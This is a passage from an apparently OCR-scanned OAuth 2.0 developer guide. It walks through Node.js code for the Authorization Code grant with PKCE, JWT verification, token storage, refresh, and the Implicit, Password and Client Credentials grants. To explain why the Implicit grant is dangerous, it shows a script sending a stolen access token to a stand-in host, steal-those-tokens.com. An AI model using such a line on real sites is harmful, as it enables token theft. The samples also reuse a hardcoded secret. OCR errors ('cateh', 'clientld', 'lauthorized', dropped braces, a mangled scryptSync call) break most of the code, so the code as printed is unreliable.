» redirect_uri - this is the redirect URI that we sent to the
OAuth server above. It must be exactly the same value.

Here’s some JavaScript code that calls the Token endpoint using
these parameters. It also verifies the state parameter is correct
along with the nonce that should be present in the id_token. It
also restores the saved codeVerifier and passes that to the Token
endpoint to complete the PKCE process.
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// Dependencies

const express = require('express');
const crypto = require('crypto');
const axios = require('axios');

const FormData = require(' form-data');
const common = require('./common');
const config = require('./config');

// Route and OAuth variables

const router = express.Router();

const clientld = config.clientld;

const clientSecret = config.clientSecret;

const redirectURI = encodeURI('http://localhost:3000/caut\
h-callback');

const scopes = encodeURIComponent('profile offline_access\
openid');

// Crypto variables

const password = 'setec-astronomy'

const key = crypto.scryptSync(password, 'salt',6 24);
const iv = crypto.randomBytes(16);

router.get('/oauth-callback', (req, res, next) => {
// Verify the state
const reqState = req.query.state;
const state = restoreState(req, res);

if (regState !== state) {
res.redirect('/', 302); // Start over
return;

}

const code = req.query.code;
const codeVerifier = restoreCodeVerifier(req, res);
const nonce = restoreNonce(req, res);
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// POST request to Token endpoint
const form = new FormData();
form.append('client_id', clientld);
form.append('client_secret', clientSecret)
form.append( 'code', code);
form.append('code_verifier', codeVerifier);
form.append( 'grant_type', 'authorization_code');
form.append('redirect_uri', redirectURI);
axios.post('https://login.twgtl.com/oauth2/token', form\
, { headers: form.getHeaders() })
.then((response) => {
const accessToken = response.data.access_token;
const idToken = response.data.id_token;

const refreshToken = response.data.refresh_token;

if (idToken) {
let user = common.parseJWT(idToken, nonce); // pa\
rses the JWT, extracts the none, compares the value expec\
ted with the value in the JWT.
if (luser) {

console.log('Nonce is bad. It should be ' + n\

once + ' but was ' + idToken.nonce);
res.redirect(302,"/"); // Start over
return;
}
}

// Since the different OAuth modes handle the token)\
s differently, we are going to

// put a placeholder function here. We'll discuss t\
his function in the following

// sections

handleTokens(accessToken, idToken, refreshToken, re\

q, res);
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}).cateh((err) => {console.log("in error"); console.e\
rror (JSON.stringify(err));});
1)

function restoreState(req) {

return req.session.oauthState; // Server-side session

function restoreCodeVerifier(req) {

return req.session.oauthCode; // Server-side session

function restoreNonce(req) {

return req.session.oauthNonce; // Server-side session

module.exports = app;

common . parseJWT abstracts the JWT parsing and verification. It
expects public keys to be published in JWKS format at a well known
location, and verifies the audience, issuer and expiration, as well as
the signature. This code can be used for access tokens, which do
not have a nonce, and Id tokens, which do.

const axios = require('axios');

const FormData = require('form-data');
const config = require('./config');
const { promisify } = require('util');

const common = {};

const jwksUri = 'https://login.twgtl.com/.well-known/jwks\

.json';
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const jwt = require('jsonwebtoken');
const jwksClient = require('jwks-rsa');
const client = jwksClient({
strictSsl: true, // Default value
JjwksUri: jwksUri,
requestHeaders: {}, // Optional
requestAgentOptions: {}, // Optional
timeout: 30000, // Defaults to 30s
1)

common . parseJWT = async (unverifiedToken, nonce) => {
const parsedJWT = jwt.decode(unverifiedToken, {complete\
true});
const getSigningKey = promisify(client.getSigningKey).b\
ind(client);
let signingKey = await getSigningKey(parsedJWT.header .k\
id);
let publicKey = signingKey.getPublicKey();
try {
const token = jwt.verify(unverifiedToken, publicKey, \
{ audience: config.clientld, issuer: config.issuer });
if (nonce) {
if (nonce !== token.nonce) {
console.log("nonce doesn't match "+nonce +", "+to\
ken.nonce);

return null;

}

return token;
} catch(err) {
console.log(err);

throw err;
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Y/

module.exports = common;

At this point, we are completely finished with OAuth. We've
successfully exchanged the authorization code for tokens, which
is the last step of the OAuth Authorization Code grant.

Let’s take a quick look at the 3 restore functions from above and
how they are implemented for cookies and encrypted cookies. Here
is how those functions would be implemented if we were storing
the values in cookies:

function restoreState(req, res) {
const value = req.cookies.oauth_state;
res.clearCookie('oauth_state');

return value;

function restoreCodeVerifier(req, res) {
const value = req.cookies.oauth_code_verifier;
res.clearCookie('oauth_code_verifier');

return value;

function restoreNonce(req, res) {
const value = req.cookies.oauth_nonce;
res.clearCookie('oauth_nonce');

return value;

And here is the code that decrypts the encrypted cookies:
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const password = 'setec-astronomy'
const key = crypto.scryptSync(password, 'salt',6 24);

function decrypt(value) {

const parts = value.split(':');

const cipherText = parts[0];

const iv = Buffer.from(parts[1], 'hex');

const decipher = crypto.createDecipheriv('aes-192-cbc',\
key, iv);

let decrypted = decipher.update(cipherText, 'hex', 'utf\
8');

decrypted += decipher.final('utf8");

return decrypted;

function restoreState(req, res) {
const value = decrypt(req.cookies.oauth_state);
res.clearCookie( 'oauth_state');

return value;

function restoreCodeVerifier(req, res) {
const value = decrypt(req.cookies.oauth_code_verifier);
res.clearCookie('oauth_code_verifier');

return value;

function restoreNonce(req, res) {
const value = decrypt(req.cookies.oauth_nonce);
res.clearCookie('oauth_nonce');

return value;
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Tokens

Now that we’ve successfully exchanged the authorization code for
tokens, let’s look at the tokens we received from the OAuth server.
We are going to assume that the OAuth server is using JWTs (JSON
Web Tokens) for the access and Id tokens. OAuth2 doesn’t define
any token format, but in practice access tokens are often JWTs.
Openld Connect (OIDC), on the other hand, requires the id_token
to be a JWT.

Here are the tokens we have:

« access_token: This is a JWT that contains information about
the user including their id, permissions, and anything else we
might need from the OAuth server.

+ id_token: This is a JWT that contains public information
about the user such as their name. This token is usually safe
to store in non-secure cookies or local storage because it can’t
be used to call APIs on behalf of the user.

« refresh_token: This is an opaque token (not a JWT) that can
be used to create new access tokens. Access tokens expire and
might need to be renewed, depending on your requirements
(for example how long you want access tokens to last versus
how long you want users to stay logged in).

Since two of the tokens we have are JWTs, let’s quickly cover that
technology here. A full coverage of JWTs is outside of the scope of
this guide, but there are a couple of good JWT guides in our Token
Expert Advice section®.

JWTs are JSON objects that contain information about users and
can also be signed. The keys of the JSON object are called “claims”.
JWTs expire, but until then they can be presented to APIs and
other resources to obtain access. Keep their lifetimes short and

®https://fusionauth.io/learn/expert-advice/tokens/
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protect them as you would other credentials such as an API key.
Because they are signed, a JWT can be verified to ensure it hasn’t
been tampered with. JWTs have a couple of standard claims. These
claims are:

+ aud: The intended audience of the JWT. This is usually an
identifier and your applications should verify this value is as
expected.

« exp: The expiration instant of the JWT. This is stored as the
number of seconds since Epoch (January 1, 1970 UTC).

« iss: An identifier for that system which created the JWT.
This is normally a value configured in the OAuth server. Your
application should verify that this claim is correct.

« nbf: The instant after which the JWT is valid. It stands for “not
before”. This is stored as the number of seconds since Epoch
(January 1, 1970 UTC).

« sub: The subject of this JWT. Normally, this is the user’s id.

JWTs have other standard claims that you should be aware of. You
can review these specifications for a list of additional standard
claims:

« JWT Claims in the JSON Web Token RFC’
+ Claims in the Open ID Connect 1.0 spec®

User and token information

Before we cover how the Authorization Code grant is used for each
of the OAuth modes, let’s discuss two additional OAuth endpoints
used to retrieve information about your users and their tokens.
These endpoints are:

"https://tools.ietf.org/html/rfc7519#section-4
®https://openid.net/specs/openid- connect-core-1_0.html#Claims
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« Introspection - this endpoint is an extension to the OAuth 2.0
specification and returns information about the token using
the standard JWT claims from the previous section.

« UserInfo - this endpoint is defined as part of the OIDC
specification and returns information about the user.

These two endpoints are quite different and serve different pur-
poses. Though they might return similar values, the purpose of the
Introspection endpoint is to return information about the access
token itself. The UserInfo endpoint returns information about the
user for whom the access token was granted.

The Introspection endpoint gives you a lot of the same information
as you could obtain by parsing and validating the access_token.
If what is in the JWT is enough, you can choose whether to use
the endpoint, which requires a network request, or parse the JWT,
which incurs a computational cost and requires you to bundle a
library. The UserInfo endpoint, on the other hand, typically gives
you the same information as the id_token. Again, the tradeoff is
between making a network request or parsing the id_token.

Both endpoints are simple to use; let’s look at some code.

The Introspect endpoint

First, we will use the Introspect endpoint to get information about
an access token. We can use the information returned from this end-
point to ensure that the access token is still valid or get the standard
JWT claims covered in the previous section. Besides returning the
JWT claims, this endpoint also returns a few additional claims that
you can leverage in your app. These additional claims are:

« active: Determines if the token is still active and valid. What
active means depends on the OAuth server, but typically it
means the server issued it, it hasn’t been revoked as far as the
server knows, and it hasn’t expired.
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« scope: The list of scopes that were passed to the OAuth server
during the login process and subsequently used to create the
token.

o client_id: Theclient_id value that was passed to the OAuth
server during the login process.

« username: The username of the user. This is likely the user-
name they logged in with but could be something different.

« token_type: The type of the token. Usually, this is Bearer
meaning that the token belongs to and describes the user that
is in control of it.

Only the active claim is guaranteed to be included; the rest of these
claims are optional and may not be provided by the OAuth server.

Let’s write a function that uses the Introspect endpoint to determine
if the access token is still valid. This code will leverage FusionAuth’s
Introspect endpoint, which again is always at a well-defined loca-
tion:

async function (accessToken, clientld, expectedAud, expec\
tedIss) {

const form = new FormData();

form.append( 'token', accessToken);

form.append('client_id', clientld); // FusionAuth requi\
res this for authentication

try {
const response = await axios.post('https://login.twgt\
1.com/ocauth2/introspect', form, { headers: form.getHeader\
s() 1);
if (response.status === 200) {
const data = response.data;
if (!data.active) {
return false; // if not active, we don't get any \

other claims
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}
return expectedAud === data.aud && expectedIss ===
data.iss;
}
} cateh (err) {

console.log(err);

return false;

This function makes a request to the Introspect endpoint and then
parses the result, returning true or false. As you can see, you
can’t defer all token logic to the Introspect endpoint, however. The
consumer of the access token should also validate the aud and
iss claims are as expected, at a minimum. There may be other
application specific validation required as well.

The Userinfo endpoint

If we need to get additional information about the user from the
OAuth server, we can use the UserInfo endpoint. This endpoint
takes the access token and returns a number of well defined claims
about the user. Technically, this endpoint is part of the OIDC
specification, but most OAuth servers implement it, so you’ll likely
be safe using it.

Here are the claims that are returned by the UserInfo endpoint:

+ sub: The unique identifier for the user.

« name: The user’s full name.

« given_name: The user’s first name.

o family_name: The user’s last name.

« middle_name: The user’s middle name.

« nickname: The user’s nickname (i.e. Joe for Joseph).
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preferred_username: The user’s preferred username that they
are using with your application.

profile: A URL that points to the user’s profile page.
picture: A URL that points to an image that is the profile
picture of the user.

website: A URL that points to the user’s website (i.e. their
blog).

email: The user’s email address.

email_verified: A boolean that determines if the user’s email
address has been verified.

gender: A string describing the user’s gender.

birthdate: The user’s birthdate as an ISO 8601:2004 YYYY-
MM-DD formatted string.

zoneinfo: The time zone that the user is in.

locale: The user’s preferred locale as an ISO 639-1 Alpha-
2 language code in lowercase and an ISO 3166-1 Alpha-2
[ISO3166-1] country code in uppercase, separated by a dash.
phone_number: The user’s telephone number.
phone_number_verified: A boolean that determines if the
user’s phone number has been verified.

address: A JSON object that contains the user’s address
information. The sub-claims are:

* formatted: The user’s address as a fully formatted string.

* street_address: The user’s street address component.

* locality: The user’s city.

* region: The user’s state, province, or region.

* postal_code: The user’s postal code or zip code.

* country: The user’s country.

updated_at: The instant that the user’s profile was last up-
dated as a number representing the number of seconds from
Epoch UTC.

Not all of these claims will be present, however. What is returned
depends on the scopes requested in the initial authorization request
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as well as the configuration of the OAuth server. You can always
rely on the sub claim, though. See the OIDC spec’® as well as your
OAuth server’s documentation for the proper scopes and returned
claims.

Here’s a function that we can use to retrieve a user object from the
UserInfo endpoint. This is equivalent to parsing the id_token and
looking at claims embedded there.

async function (accessToken) {
const response = await axios.get('https://login.twgtl.c\
om/ocauth2/userinfo', { headers: { 'Authorization' : 'Bear\
er ' + accessToken } });
try {
if (response.status === 200) {
return response.data;

return null;
} catch (err) {
console.log(err);

}

return null;

Local login and registration with the
Authorization Code grant

Now that we have covered the Authorization Code grant in detail,
let’s look at next steps for our application code.

In other words, your application now has these tokens, but
what the heck do you do with them?

*https://openid.net/specs/openid-connect-core-1_0.html#ScopeClaims
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If you are implementing the Local login and registration mode,
then your application is using OAuth to log users in. This means
that after the OAuth workflow is complete, the user should be
logged in and the browser should be redirected to your application
or the native app should have user information and render the
appropriate views.

For our example TWGTL application, we want to send the user to
their ToDo list after they have logged in. In order to log the user in
to the TWGTL application, we need to create a session of some sort
for them. Similar to the state and other values discussed above, are
two ways to handle this:

« Cookies
« Server-side sessions

Which of these methods is best depends on your requirements, but
both work well in practice and are both secure if done correctly. If
you recall from above, we put a placeholder function, handleTokens,
in our code just after we received the tokens from the OAuth server.
Let’s fill in that code for each of the session options.

Storing tokens as cookies

First, let’s store the tokens as cookies in the browser and redirect
the user to their ToDos:
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function handleTokens(accessToken, idToken, refreshToken, \
req, res) {

// Write the tokens as cookies

res.cookie( 'access_token', accessToken, {httpOnly: true\
, secure: true});

res.cookie('id_token', idToken); // Not httpOnly or sec)\
ure

res.cookie('refresh_token', refreshToken, {httpOnly: tr\
ue, secure: true});

// Redirect to the To-do list
res.redirect('/todos', 302);

At this point, the application backend has redirected the browser
to the user’s ToDo list. It has also sent the access token, Id token,
and refresh tokens back to the browser as cookies. The browser will
now send these cookies to the backend each time it makes a request.
These requests could be for JSON APIs or standard HTTP requests
(i.e. GET or POST). The beauty of this solution is that our application
knows the user is logged in because these cookies exist. We don’t
have to manage them at all since the browser does it all for us.

The id_token is treated less securely than the access_token and
refresh_token for a reason. The id_token should never be used to
access protected resources; it is simply a way for the application to
obtain read-only information about the user. If, for example, you
want your SPA to update the user interface to greet the user by
name, the id_token is available.

These cookies also act as our session. Once the cookies disappear
or become invalid, our application knows that the user is no longer
logged in. Let’s take a look at how we use these tokens to make an
authorized API call. You can also have server side html generated
based on the access_token, but we’ll leave that as an exercise for
the reader.
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This API retrieves the user’s ToDos from the database. We’ll then
generate the user interface in browser side code.

// Include axios

axios.get('/api/todos')
.then(function (response) {
buildUI(response.data);
buildClickHandler();
i)
.catch(function(error) {

console.log(error);

1)

function buildUI(data) {
// build our UI based on the todos returned and the id_\
token

}

function buildClickHandler() {
// post to API when ToDo is done

You may have noticed a distinct lack of any token
sending code in the axios.get call. This is one of the
strengths of the cookie approach. As long as we’re
calling APIs from the same domain, cookies are sent for
free. If you need to send cookies to a different domain,
make sure you check your CORS settings.

What does the server side API look like? Here’s the route that
handles /api/todos:
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// Dependencies

const express = require('express');
const common = require('./common');
const config = require('./config');

const axios = require('axios');

// Router & constants
const router = express.Router();

router.get('/', (req, res, next) => {
common . authorizationCheck(req, res).then((authorized) =\
> |
if (lauthorized) {
res.sendStatus(403);

return;

const todos = common.getTodos();
res.setHeader( 'Content-Type', 'application/json');
res.end(JSON.stringify(todos));
}).cateh((err) => {
console.log(err);
1)
1)

module.exports = router;

And here’s the authorizationCheck method
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const axios = require('axios');

const FormData = require('form-data');
const config = require('./config');
const { promisify } = require('util');

common . authorizationCheck = async (req, res) => {
const accessToken = req.cookies.access_token;
if (laccessToken) {
return false;
}
try {
let jwt = await common.parseJWT(accessToken);
return true;
} cateh (err) {
console.log(err);
return false;

common .parseJWT = async (unverifiedToken, nonce) => {

const parsedJWT = jwt.decode(unverifiedToken, {complete\

true});

const getSigningKey = promisify(client.getSigningKey).b\
ind(client);

let signingKey = await getSigningKey(parsedJWT.header .k\
id);

let publicKey = signingKey.getPublicKey();

try {

const token = jwt.verify(unverifiedToken, publicKey, \

{ audience: config.clientld, issuer: config.issuer });
if (nonce) {
if (nonce !== token.nonce) {
console.log("nonce doesn't match "+nonce +", "+to\
ken.nonce);

return null;
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}

return token;
} catch(err) {
console.log(err);

throw err;

}

module.exports = common;

Storing tokens in the session

Next, let’s look at the alternative implementation. We’ll create a
server-side session and store all of the tokens there. This method
also writes a cookie back to the browser, but this cookie only stores
the session id. Doing so allows our server-side code to lookup the
user’s session during each request. Sessions are generally handled
by the framework you are using, so we won’t go into many details
here. You can read up more on server-side sessions on the web if
you are interested.

Here’s code that creates a server-side session and redirects the user
to their ToDo list:

var expressSession = require('express-session');
app.use(expressSession({resave: false, saveUninitialized:\
false, secret: 'setec-astronomy'}));

function handleTokens(accessToken, idToken, refreshToken, \
req, res) {
// Store the tokens in the session
req.session.accessToken = accessToken;
req.session.idToken = idToken;
req.session.refreshToken = refreshToken;
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// Redirect to the To-do list
res.redirect('/todos', 302);

This code stores the tokens in the server-side session and redirects
the user. Now, each time the browser makes a request to the
TWGTL backend, the server side code can access tokens from the
session.

Let’s update our API code from above to use the server side sessions
instead of the cookies:

common . authorizationCheck = async (req, res) => {
const accessToken = req.session.accessToken;
if (laccessToken) {
return false;
}
try {
let jwt = await common.parseJWT(accessToken);
return true;
} cateh (err) {
console.log(err);

return false;

The only difference in this code is how we get the
access token. Above the cookies provided it, and here
the session does. Everything else is exactly the same.

Refreshing the access token

Finally, we need to update our code to handle refreshing the access
token. The client, in this case a browser, is the right place to know
when a request fails. It could fail for any number of reasons, such
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as network connectivity issues. But it might also fail because the
access token has expired. In the browser code, we should check for
errors and attempt to refresh the token if the failure was due to
expiration.

Here’s the updated browser code. We are assuming the tokens
are stored in cookies here. buildAttemptRefresh is a function that
returns an error handling function. We use this construct so we
can attempt a refresh any time we call the API. The after function
is what will be called if the refresh attempt is successful. If the
refresh attempt fails, we send the user back to the home page for
reauthentication.

const buildAttemptRefresh = function(after) {
return (error) => {

axios.post('/refresh', {})

.then(function (response) ({
after();

)

.catch(function (error) {
console.log("unable to refresh tokens");
console.log(error);
window.location.href="/";

1)

}

// extract this to a function so we can pass it in as the\
'after' parameter
const getTodos = function() {
axios.get('/api/todos')
.then(function (response) {
buildUI(response.data);
buildClickHandler();
)

.catch(console.log);
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axios.get('/api/todos')
.then(function (response) {
buildUI(response.data);
buildClickHandler();

i)
.catch(buildAttemptRefresh(getTodos));

function buildUI(data) {
// build our UI based on the todos

function buildClickHandler() {
// post to API when ToDo is done

Since the refresh_token is an HTTPOnly cookie, JavaScript can’t
call a refresh endpoint to get a new access token. Our client side
JavaScript would have to have access to the refresh token value
to do so, but we don’t allow that because of cross site scripting
concerns. Instead, the client calls a server-side route, which will
then try to refresh the tokens using the cookie value; it has access
to that value. After that, the server will send down the new values
as cookies, and the browser code can retry the API calls.

Here’s the refresh server side route, which accesses the refresh
token and tries to, well, refresh the access and id tokens.
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router.post('/refresh', async (req, res, next) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
res.sendStatus(403);
return;
}
try {
const refreshedTokens = await common.refreshJWTs(refr\
eshToken);

const newAccessToken = refreshedTokens.accessToken;
const newldToken = refreshedTokens.idToken;

// update our cookies

console.log("updating our cookies");

res.cookie( 'access_token', newAccessToken, {httpOnly:\
true, secure: true});

res.cookie('id_token', newIdToken); // Not httpOnly o\
r secure

res.sendStatus(200);

return;

} cateh (error) {
console.log("unable to refresh");
res.sendStatus(403);

return;

1),

module.exports = router;

Here’s the refreshuwT code which actually performs the token
refresh:
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common.refreshJWTs = async (refreshToken) => {
console.log("refreshing.");
// POST refresh request to Token endpoint
const form = new FormData();
form.append('client_id', clientId);
form.append('grant_type', 'refresh_token');
form.append( 'refresh_token', refreshToken);
const authValue = 'Basic ' + Buffer.from(clientId +":"+\
clientSecret).toString('base64"');
const response = await axios.post('https://login.twgtl.\
com/oauth2/token', form, {
headers: {
'Authorization' : authValue,
... form.getHeaders()
}
1)

const accessToken = response.data.access_token;
const idToken = response.data.id_token;

const refreshedTokens = {};
refreshedTokens.accessToken = accessToken;
refreshedTokens.idToken = idToken;

return refreshedTokens;

By default, FusionAuth requires authenticated requests to the re-
fresh token endpoint. In this case, the authvalue string is a correctly
formatted authentication request. Your OAuth server may have
different requirements, so check your documentation.
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Third-party login and registration
(also Enterprise login and
registration) with the Authorization
Code grant

In the previous section we covered the Local login and registra-
tion process where the user is logging into our TWGTL application
using an OAuth server we control such as FusionAuth. The other
method that users can log in with is a third-party provider such as
Facebook or an Enterprise system such as Active Directory. This
process uses OAuth in the same way we described above.

Some third-party providers have hidden some of the
complexity from us by providing simple JavaScript
libraries that handle the entire OAuth workflow (Face-
book for example). We won’t cover these types of third-
party systems and instead focus on traditional OAuth
workflows.

In most cases, the third-party OAuth server is acting in the same
way as our local OAuth server. In the end, the result is that we
receive tokens that we can use to make API calls to the third party.
Let’s update our handleTokens code to call an fictitious API to
retrieve the user’s friend list from the third party. Here we are using
sessions to store the access token and other tokens.
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const axios = require('axios');

const FormData = require('form-data');

var expressSession = require('express-session');

app.use(expressSession({resave: false, saveUninitialized:\
false, secret: 'setec-astronomy'}));

Y/

function handleTokens(accessToken, idToken, refreshToken, \
req, res) {
// Store the tokens in the session
req.session.accessToken = accessToken;
req.session.idToken = idToken;

req.session.refreshToken = refreshToken;

// Call the third-party API
axios.post('https://api.third-party-provider.com/profil\
e/friends', form, { headers: { 'Authorization' : 'Bearer \
'+accessToken } })
.then((response) => {
if (response.status == 200) {
const json = JSON.parse(response.data);

req.session. friends = json.friends;

// Optionally store the friends list in our datab\
ase
storefFriends(req, json.friends);
}
1)

// Redirect to the To-do list

res.redirect('/todos', 302);

This is an example of using the access token we received from the
third-party OAuth server to call an APL
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If you are implementing the Third-party login and registration
mode without leveraging an OAuth server like FusionAuth, there
are a couple of things to consider:

« Do you want your sessions to be the same duration as the
third-party system?
* In most cases, if you implement Third-party login and
registration as outlined, your users will be logged into your
application for as long as the access and refresh tokens from
the third-party system are valid.
*You can change this behavior by setting cookie or server-side
session expiration times you create to store the tokens.

« Do you need to reconcile the user’s information and store it
in your own database?
* You might need to call an API in the third-party system to
fetch the user’s information and store it in your database. This
is out of scope of this guide, but something to consider.

If you use an OAuth server such as FusionAuth to manage your
users and provide Local login and registration, it will often
handle both of these items for you with little configuration and
no additional coding.

Third-party authorization with the
Authorization Code grant

The last mode we will cover as part of the Authorization Code
grant workflow is the Third-party authorization mode. For the
user, this mode is the same as those above, but it requires slightly
different handling of the tokens received after login. Typically with
this mode, the tokens we receive from the third party need to be
stored in our database because we will be making additional API
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calls on behalf of the user to the third party. These calls may happen
long after the user has logged out of our application.

In our example, we wanted to leverage the WUPHF API to send a
WUPHF when the user completes a ToDo. In order to accomplish
this, we need to store the access and refresh tokens we received
from WUPHF in our database. Then, when the user completes a
ToDo, we can send the WUPHF.

First, let’s update the handleTokens function to store the tokens in
the database:

function handleTokens(accessToken, idToken, refreshToken, \
req, res) {

/ar

// Save the tokens to the database
storeTokens(accessToken, refreshToken);

Y/

Now the tokens are safely stored in our database, we can retrieve
them in our ToDo completion API endpoint and send the WUPHF.
Here is some pseudo-code that implements this feature:

const axios = require('axios');

// This is invoked like: https://app.twgtl.com/api/todos/\
complete/42
router.post('/api/todos/complete/:id', function(req, res,\

next) {

common . authorizationCheck(req, res).then((authorized) =\
>

if (lauthorized) {
res.sendStatus(403);
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11 return;

12 }

13

14 // First, complete the ToDo by id

15 const idToUpdate = parselnt(req.params.id);

16 common . completeTodo(idToUpdate);

17

18 // Next, load the access and refresh token from the d\
19 atabase

20 const wuphfTokens = loadWUPHFTokens(user);

21

22 // Finally, call the API

23 axios.post('https://api.getwuphf.com/send', {}, {
24 headers: {

25 auth: { 'bearer': wuphfTokens.accessToken, 'r\
26 efresh': wuphfTokens.refreshToken }

27 }

28 }).then((response) => {

29 // check for status, log if not 200

30 1

31 );

32 )

33

34 // return all the todos

35 const todos = common.getTodos();

36 res.setHeader('Content-Type', 'application/json');
37 res.end(JSON.stringify(todos));

38 3);

39 1);

This code is just an example of how we might leverage the ac-
cess and refresh tokens to call third-party APIs on behalf of the
user. While this was a synchronous call, the code could also post
asynchronously. For example, you could add a TWGTL feature to
post all of the day’s accomplishments to WUPHF every night, and
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the user would not have to be present, since the tokens are in the
database.

First-party login and registration
and first-party service authorization

These scenarios won’t be illustrated in this guide. But, the short
version is:

« First-party login and registration should be handled by an
OAuth server.

« First-party service authorization should use tokens generated
by an OAuth server. These tokens should be presented to APIs
written by the same party.



Implicit grant in OAuth
2.0

The next grant that is defined in the OAuth 2.0 specification is the
Implicit grant. If this were a normal guide, we would cover this
grant in detail the same way we covered the Authorization Code
grant. Except, I'm not going to. :)

Please don’t use the Implicit grant.

The reason we won’t cover the Implicit grant in detail is that it
is horribly insecure, broken, deprecated, and should never, ever be
used (ever). Okay, maybe that’s being a bit dramatic, but please
don’t use this grant. Instead of showing you how to use it, let’s
discuss why you should not.

The Implicit grant has been removed from OAuth as of the most
recent version of the OAuth 2.1 draft specification. The reason that
it has been removed is that it skips an important step that allows
you to secure the tokens you receive from the OAuth server. This
step occurs when your application backend makes the call to the
Token endpoint to retrieve the tokens.

Unlike the Authorization Code grant, the Implicit grant does not
redirect the browser to your application server with an authoriza-
tion code. Instead, it puts the access token directly on the URL as
part of the redirect. These URLs look like this:

https://my-app.com/#token-goes-here

The token is added to the redirect URL after the # symbol, which
means it is technically the fragment portion of the URL. What
this really means is that wherever the OAuth server redirects the
browser to, the access token is accessible to basically everyone.
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Specifically, the access token is accessible to any and all JavaScript
running in the browser. Since this token allows the browser to make
API calls and web requests on behalf of the user, having this token
be accessible to third-party code is extremely dangerous.

Let’s take a dummy example of a single-page web application that
uses the Implicit grant:

// This is dummy code for a SPA that uses the access token
<html>
<head>

<seript type="text/javascript" src="/my-spa-code-1.0.0.\
js"></seript>

<script type="text/javascript" src="https://some-third-\
party-server.com/a-library-found-online-that-1looked-cool-\
0.42.0. js"></script>
</head>
<body>

</body>
This HTML page includes 2 JavaScript libraries:

+ The code for the application itself: my-spa-code-1.0.0. js
+ A library we found online that did something cool we needed

andvvepuﬂedin:a—library—found—online—that—looked—cool—®.42.@.js

Let’s assume that our code is 100% secure and we don’t have to
worry about it. The issue here is that the library we pulled in
is an unknown quantity. It might include other libraries as well.
Remember that the DOM is dynamic. Any JavaScript can load any
other JavaScript library simply by updating the DOM with more
<script> tags. Therefore, we have very little chance of ensuring
that every other line of code from third-party libraries is secure.

If a third-party library wanted to steal an access token from our
dummy application, all it would need to do is run this code:
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if (window.location.hash.contains('access_token')) {
fetch('http://steal-those-tokens.com/yummy?hash=" + win\
dow. location.hash);

}

Three lines of code and the access token has been stolen. The ap-
plication at http://steal-those-tokens.com/yummy can save these
off, call the login.twgtl.com to verify the tokens are useful, and
then can call APIs and other resources presenting the access_token.
Oops.

As you can see, the risk of leaking tokens is far too high to ever
consider using the Implicit grant. This is why we recommend that
no one ever use this grant.

If you aren’t dissuaded by the above example and you really need to
use the Implicit grant, please check out our documentation®, which
walks you through how to implement it.

"%https://fusionauth.io/docs/v1/tech/oauth/#example-implicit-grant
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Resource Owner’s
Password Credentials
grant

The next grant on our list is the Resource Owner’s Password
Credentials grant. That’s a lot of typing, so I'm going to refer to
this as the Password grant for this section.

This grant is also being deprecated and the current recommenda-
tion is that it should not be used. Let’s discuss how this grant works
and why it is being deprecated.

The Password grant allows an application to collect the username
and password directly from the user via a native form and send
this information to the OAuth server. The OAuth server verifies
this information and then returns an access token and optionally a
refresh token.

Many mobile applications and legacy web applications use this
grant because they want to present the user with a login UI that
feels native to their application. In most cases, mobile applications
don’t want to open a web browser to log users in and web applica-
tions want to keep the user in their UI rather than redirecting the
browser to the OAuth server.

There are two main issues with this approach:

1. The application is collecting the username and password and
sending it to the OAuth server. This means that the applica-
tion must ensure that the username and password are kept
completely secure. This differs from the Authorization Code
grant where the username and password are only provided
directly to the OAuth server.



Resource Owner’s Password Credentials grant 68

2. This grant does not support any of the auxiliary security
features that your OAuth server may provide such as:
* Multi-factor authentication
* Password resets
* Device grants
* Registration
* Email and account verification
* Passwordless login

Due to how limiting and insecure this grant is, it has been removed
from the latest draft of the OAuth specification. It is recommended
to not use it in production.

If you aren’t dissuaded by the above problems and you really need
it, please check out our documentation'!, which walks you through
how to use this grant.

"https://fusionauth.io/docs/v1/tech/oauth/#example-resource-owner-password-
credentials-grant
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Client Credentials grant

The Client Credentials grant provides the ability for one client
to authorize another client. In OAuth terms, a client is an ap-
plication itself, independent of a user. Therefore, this grant is most
commonly used to allow one application to call another application,
often via APIs. This grant therefore implements the Machine-to-
machine authorization mode described above.

With the Client Credentials grant, there is no user to
log in.

The Client Credentials grant leverages the Token endpoint of the
OAuth server and sends in a couple of parameters as form data in
order to generate access tokens. These access tokens are then used
to call APIs. Here are the parameters needed for this grant:

« client_id - this is client id that identifies the source applica-
tion.

« client_secret - this is a secret key that is provided by the
OAuth server. This should never be made public and should
only ever be stored on the source application server.

« grant_type - this will always be the wvalue
client_credentials to let the OAuth server know we
are using the Client Credentials grant.

You can send the client_id and client_secret in the request body
or you can send them in using Basic access authorization in the
Authorization header. We’ll send them in the body below to keep
things consistent with the code from the Authorization Code grant
above.
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Let’s rework our TWGTL application to use the Client Credentials
grant in order to support two different backends making APIs calls
to each other. If you recall from above, our code that completed a
TWGTL ToDo item also sent out a WUPHF. This was all inline
but could have been separated out into different backends or
microservices. I hear microservices are hot right now.

Let’s update our code to move the WUPHF call into a separate
service:

router.post('/api/todo/complete/:id', function(req, res, \
next) {

// Verify the user is logged in

const user = authorizeUser(req);

// First, complete the ToDo by id
const todo = todoService.complete(req.params.id, user);

sendWUPHF (todo.title, user.id);
1)

function sendWUPHF (title, userlId) {
const accessToken = getAccessToken(); // Coming soon

const body = { 'title': title, 'userId': userld }
axios.post('https://wuphf-microservice.twgtl.com/send", \
body, {
headers: {
auth: { 'bearer': accessToken }
}
}).then((response) => {
res.sendStatus(200);
}).cateh((err) => {
console.log(err);
res.sendStatus(500);

1);
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1)

Here is the WUPHF microservice code that receives the access
token and title of the WUPHF and sends it out:

const express = require('express');

const router = express.Router();

const bearerToken = require('express-bearer-token');
const request = require('request');

const clientld = 'Ob893c2a-4689-41f8-91e0-aecadl306ecbt’ ;

const clientSecret = 'setec-astronomy';

var app = express();

app.use(express. json());
app.use(bearerToken());
app.use(express.urlencoded({extended: false}l));

router.post('/send', function(req, res, next) {
const accessAllowed = verifyAccessToken(req); // Coming\
soon
if (laccessAllowed) {
res.sendStatus(403);

return;

// Load the access and refresh token from the database \
(based on the userlId)
const wuphfTokens = loadWUPHFTokens(req.data.userlId);

// Finally, call the API
axios.post('https://api.getwuphf.com/send', {message: '\
I just did a thing: '+req.data.title}, {
headers: {
auth: { 'bearer': wuphfTokens.accessToken, 'refresh\
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. wuphfTokens.refreshToken }
}

}).then((response) => {
res.sendStatus(200);

}).cateh((err) => {
console.log(err);
res.sendStatus(500);

1

JON

We've now separated the code that is responsible for completing
ToDos from the code that sends the WUPHF. The only thing left to
do is hook this code up to our OAuth server in order to generate
access tokens and verify them.

